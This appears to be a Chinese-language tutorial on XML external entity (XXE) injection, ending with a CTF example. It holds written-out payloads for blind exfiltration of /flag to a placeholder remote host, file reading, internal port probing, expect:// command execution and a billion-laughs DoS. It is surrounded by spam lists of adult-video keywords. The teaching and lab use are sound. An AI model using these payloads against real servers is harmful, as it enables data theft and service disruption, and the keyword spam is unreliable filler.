日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

XML實體注入深入理解

瀏覽:365日期:2022-06-04 10:02:42
目錄
  • 引文
  • 簡介
  • 基礎知識
    • DTD
    • 內部DOCTYPE聲明
  • XML實體注入
    • 無回顯XXE(BLIND XXE)
    • 讀取任意文件
    • 探測內網端口
    • 命令執行
    • dos拒絕服務
  • 例題
    • 結語

      引文

      在平常的WEB滲透中,我們經常會遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個危險程度同樣很高的XXE漏洞。

      簡介

      Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可以構造加載惡意外部文件,進而通過惡意外部文件對服務器進行攻擊。

      基礎知識

      在了解XXE漏洞前,我們先看看什么是XML實體。XML根據簡單概括為如下:可擴展標記語言 (Extensible Markup Language, XML) ,標準通用標記語言的子集,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。 XML是標準通用標記語言 可擴展性良好,內容與形式分離,遵循嚴格的語法要求,保值性良好等優點。

      可能單看文字讀者們不太好理解,下面給大家簡單舉個例子:

      上圖就是一個簡單的XML實體,用代碼顯示可以展示為:

      <bookstore>     <book category="COOKING">     <title lang="en">Everyday Italian</title>    <author>Giada De Laurentiis</author>     <year>2005</year>    <price>30.00</price>    </book>    <book category="CHILDREN">     <title lang="en">Harry Potter</title>     <author>J K. Rowling</author>     <year>2005</year>     <price>29.99</price>    </book>    <book category="WEB">     <title lang="en">Learning XML</title>     <author>Erik T. Ray</author>     <year>2003</year>    <price>39.95</price>     </book></bookstore>

      其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

      DTD

      DTD(文檔類型定義)可以合法的定義xml標簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用,接下來帶大家詳細看一下它的內部結構以更好的去理解。

      內部DOCTYPE聲明

      <?xml version="1.0"?><!DOCTYPE note[<!--定義此文檔是 note 類型的文檔--><!ELEMENT note (to,from,heading,body)>       <!--定義note元素有四個元素--><!ELEMENT X (#PCDATA)>   <!ELEMENT I (#PCDATA)>     <!ELEMENT N (#PCDATA)>     <!ELEMENT O (#PCDATA)>     ]><note><to>I</to><from>A</from><head>M</head><body>XINO!</body></note>

      外部DOCTYPE聲明

      <!DOCTYPE 根元素 SYSTEM "URL">

      XML實體注入

      了解了上面的基礎知識后,我們便可以進一步學習XXE漏洞。

      我們要想利用,首先要判斷服務器會不會解析XML實體,所以開始時我們先上傳一個測試文件來判斷服務器是否能解析該類型,如果解析了,我們才可以繼續利用這個漏洞。

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY name "hello">]><root>&name;</root>

      判斷服務器是否解析之后我們可以看看是否支持外部實體調用:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [ <!ENTITY name SYSTEM "vps/hack.dtd">]><root>&name;</root>

      判斷完之后就可以做進一步測試了,比如:

      無回顯XXE(BLIND XXE)

      我們將獲取的數據發送到外部的http服務器上,后面查看http服務器即可查看到提取的數據內容。

      舉一個最簡單的例子:

      #test.xml<!ENTITY % all"<!ENTITY &#x25; send SYSTEM "http://xxx.xxx.xxx.xxx/x.php?1=%file;"">%all;

      對應的payload可以寫作為:

      <!DOCTYPE ANY[<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">%remote;%send;]>

      首先對 remote 引用的目的是將外部文件 test.xml 引入到文中,檢測到 send 實體,在節點中引用 send,就可以成功實現數據轉發。也就實現了數據的外帶。

      讀取任意文件

      這個也是XXE比較常用的方法,我們引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。

      探測內網端口

      我們利用XXE也可以進行內網探測端口(類似于SSRF),以用來進一步對機器照成攻擊:

      <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "http://127.0.0.1:80">]><root>

      命令執行

      這個還是比較少見的,因為命令執行的條件比較苛刻,要求靶機php裝有expect擴展,但這個擴展是默認不安裝的,所以比較難利用。

      <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>

      dos拒絕服務

      這個不是很了解,在網上瀏覽時注意到的,原理大概是利用迭代參數實體進行拒絕服務,讓服務器的解析變得非常非常慢。

      <?xml version="1.0"?><!DOCTYPE xml [<!ENTITY xxe1 "xxe"><!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;"><!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;"><!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;"><!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;"><!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">]><test>&xxe6;</test>

      例題

      [PHP]XXE

      打開是一個登錄界面:

      在源碼處會發現:

      <button id="go" onclick="XMLFunction()">GO!</button>

      可以判斷會解析XML文件,嘗試構造payload直接讀取文件:

      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY admin SYSTEM "file:///flag">]><root><username>&admin;</username><password>xino</password></root>

      抓包構造惡意數據然后發包:

      結語

      今天比較詳細的講了XXE漏洞的原理以及應用方法,有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是XML實體注入深入理解的詳細內容,更多關于XML實體注入的資料請關注其它相關文章!

      標簽: XML/RSS
      日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
      av中文资源在线资源免费观看| 欧美二区视频| 免费在线视频一区| 欧美国产一级| 欧美激情另类| 97精品97| 日韩欧美综合| 99久久精品费精品国产| 久久精品青草| 亚洲精品一区二区在线看| 一区二区三区视频免费观看| 欧美va亚洲va日韩∨a综合色| 欧美一级精品| 亚洲一区不卡| 日韩一区二区三区在线看| 日本亚洲最大的色成网站www| 欧美日韩精品一区二区三区在线观看| 国产乱人伦丫前精品视频| 香蕉久久一区| 日韩国产在线不卡视频| 国产精品一站二站| 国产a亚洲精品| 亚洲高清久久| 一区二区国产在线观看| 日本a口亚洲| 精品国产乱码| 欧美亚洲在线日韩| 亚洲精品护士| 国产精品久久久网站| 国产欧洲在线| 亚洲欧美日韩精品一区二区| 亚洲精品系列| 里番精品3d一二三区| 欧美黑人巨大videos精品| 综合日韩av| 亚洲一区国产| 国产精品欧美三级在线观看| 日韩电影二区| 亚洲黄色影院| 日韩黄色在线观看| 国精品产品一区| 蜜桃成人av| 亚洲精品第一| 久久精品系列| 亚洲激情久久| 国产精选久久| 99久久激情| 色综合视频一区二区三区日韩| 欧美日本久久| 亚洲爱爱视频| 日韩一区二区三区四区五区| 久久精品九色| 亚洲精品网址| 欧美日韩1区| 久久精品中文| 国产日韩欧美三区| 国产美女高潮在线观看| 亚洲黄色影院| 国产精品一页| 国产视频一区三区| 麻豆91精品视频| 一区二区自拍| 你懂的国产精品| 欧美日韩色图| 国产视频一区二| 性欧美69xoxoxoxo| 免费在线观看一区| 亚洲一区二区动漫| 国产精品国产三级国产在线观看| 好看不卡的中文字幕| 欧美aⅴ一区二区三区视频| 国产亚洲欧洲| 超碰99在线| 日韩精品乱码av一区二区| 亚洲天堂1区| 国产精品欧美日韩一区| 夜久久久久久| 成人一区而且| 亚洲一二三区视频| 超碰超碰人人人人精品| 欧美精品中文字幕亚洲专区| 99国产精品一区二区| 国产精东传媒成人av电影| 中文日韩欧美| 久久精品五月| 日本久久黄色| 国产精品嫩草99av在线| 精品成av人一区二区三区| 少妇精品久久久| 影院欧美亚洲| 亚洲免费福利| 免费一级欧美片在线观看网站 | 色吊丝一区二区| 国产精品久久乐| 亚洲精品无播放器在线播放| 婷婷亚洲五月| 日韩av首页| 福利在线免费视频| 麻豆成人av在线| 日本va欧美va瓶| 亚洲欧美日韩精品一区二区| 在线成人动漫av| 肉色欧美久久久久久久免费看| 国产精品成人3p一区二区三区| 五月亚洲婷婷 | 亚洲综合电影| 精品视频网站| 欧美黑人巨大videos精品| 午夜电影一区| 日韩中文字幕一区二区三区| 婷婷综合五月| 亚洲二区在线| 99精品综合| 亚洲不卡av不卡一区二区| 欧美国产美女| 中文字幕色婷婷在线视频| 国产成人免费精品| 国产中文欧美日韩在线| 欧美极品一区二区三区| 国产精品久久久久久模特| 日韩中文字幕区一区有砖一区 | 国产精品欧美在线观看| 久久国产人妖系列| 国产精品亚洲一区二区在线观看| 欧美一级二级三级视频| 欧美日韩1区| 国产欧美日韩影院| 国产精久久久| 精品成av人一区二区三区| 欧美另类中文字幕| 国产欧美日韩精品一区二区免费 | 日韩av成人高清| 日本在线观看不卡视频| 日韩高清三区| 国产亚洲人成a在线v网站| 国产精品三p一区二区| 国产精品成人自拍| 国产va免费精品观看精品视频| 成人午夜毛片| 色88888久久久久久影院| 国产aⅴ精品一区二区四区| 91欧美国产| 1000部精品久久久久久久久| 美女网站一区| 欧美在线综合| 婷婷精品久久久久久久久久不卡| 日本精品国产| 免费视频一区二区三区在线观看| 日韩av二区| 激情偷拍久久| 亚洲一级大片| 国产精品一区二区三区av| 高清久久精品| 久久精品青草| 日韩天堂av| 美女被久久久| 91成人精品观看| 国产一区二区精品福利地址| 视频小说一区二区| 石原莉奈在线亚洲二区| 国产欧美日韩精品一区二区三区| 精品免费视频| 国产综合婷婷| 亚州精品视频| 美女在线视频一区| 日韩成人精品一区| 香蕉久久夜色精品国产| 国产色噜噜噜91在线精品| 91亚洲成人| 久久精品国产99久久| 欧美精品一二| 日韩激情av在线| 91欧美在线| 国产一区91| 国产精品久久久亚洲一区| 日韩在线观看一区| 一区二区国产在线观看| 久久久精品国产**网站| 欧美va天堂在线| 久久国产精品免费一区二区三区| 伊人网在线播放| 在线一区二区三区视频| 国产精成人品2018| 欧美日韩视频| 国产精品v一区二区三区| 在线一区av| 久久国产精品99国产| 老色鬼精品视频在线观看播放| 欧美在线网站| 欧美国产三级| 99亚洲精品| 精品久久97| 亚洲免费福利一区| 欧美日韩国产v| 国产色99精品9i| 国产视频一区三区| 国产成人精品一区二区三区免费| 夜夜精品视频| 精品三级av| 亚洲精品女人|